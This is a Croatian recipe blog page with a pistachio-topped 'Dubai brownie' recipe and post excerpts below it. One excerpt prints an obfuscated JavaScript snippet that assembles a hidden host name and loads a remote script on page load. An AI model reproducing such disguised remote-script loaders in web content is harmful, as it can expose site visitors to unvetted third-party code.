DUBAI BROWNIE





Dubai brownie 



Zahvaljujući popularnosti Dubai čokolade u sve više slastica dodaju se pistacije – ovo orašasto voće intenzivne zelene boje možete dodati i u klasični recept za brownie. Točnije, ove američke kocke od kakaa premažite sa slasnim preljevom na bazi pistacija.




Dubai brownie 


Sastojci:

  • 250 g oguljenih pistacija
  • 150 g bijelog šećera
  • 140 g maslaca
  • 100 g tamne čokolade
  • 100 g bijele čokolade
  • 60 g glatkog brašna
  • 50 g smeđeg šećera
  • 30 ml slatkog vrhnja za šlag
  • 20 g nezaslađenog kakaa u prahu
  • 2 velika jaja
  • 1 čajna žličica ekstrakta vanilije
  • biljno ulje za premazivanje
  • prstohvat soli



Priprema:

  1. U loncu na štednjaku rastopite maslac sve dok se na zapjeni. Uklonite lonac s vatre pa u njega dodajte nasjeckanu tamnu čokoladu, ekstrakt vanilije i prstohvat soli. Miješajte dok se čokolade ne rastopi, a sastojci ne povežu.
  2. U dobivenu smjesu dodajte bijeli i smeđi šećer i nastavite miješati dok ne dobijete glatku smjesu. Pustite da se smjesa “odmori” i ohladi oko pet minuta. Potom umiješajte jaja, brašno i kakao u prahu. Ugrubo nasjeckajte oko 150 grama pistacija i umiješajte u smjesu.
  3. Smjesu prebacite u prethodno namašćenu kockastu posudu za pečenje brownieja. Pecite u prethodno zagrijanoj pećnici na 180 Celzijevih stupnjeva oko 20 do 25 minuta odnosno dok kolač nije pečen do kraja. Provjerite čačkalicom je li brownie pečen prije nego što ga izvadite iz pećnice.
  4. Dok se kolač peče, blanširajte ostatak pistacija u vrućoj zakuhanoj vodi. Blanširajte orašasto voće minutu-dvije, a potom ih ohladite u ledenoj vodi, ogulite kožicu i prebacite u blender. Blendajte sve dok se pistacije ne pretvore u pastu.
  5. U mikrovalnoj pećnici ili na pari rastopite bijelu čokoladu i pomiješajte je sa slatkim vrhnjem te pastom od pistacija. Kada se brownie ohladi, premažite ga ovom kremom. Po želji možete posuti nasjeckane pistacije na kolač. Dobar tek!



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više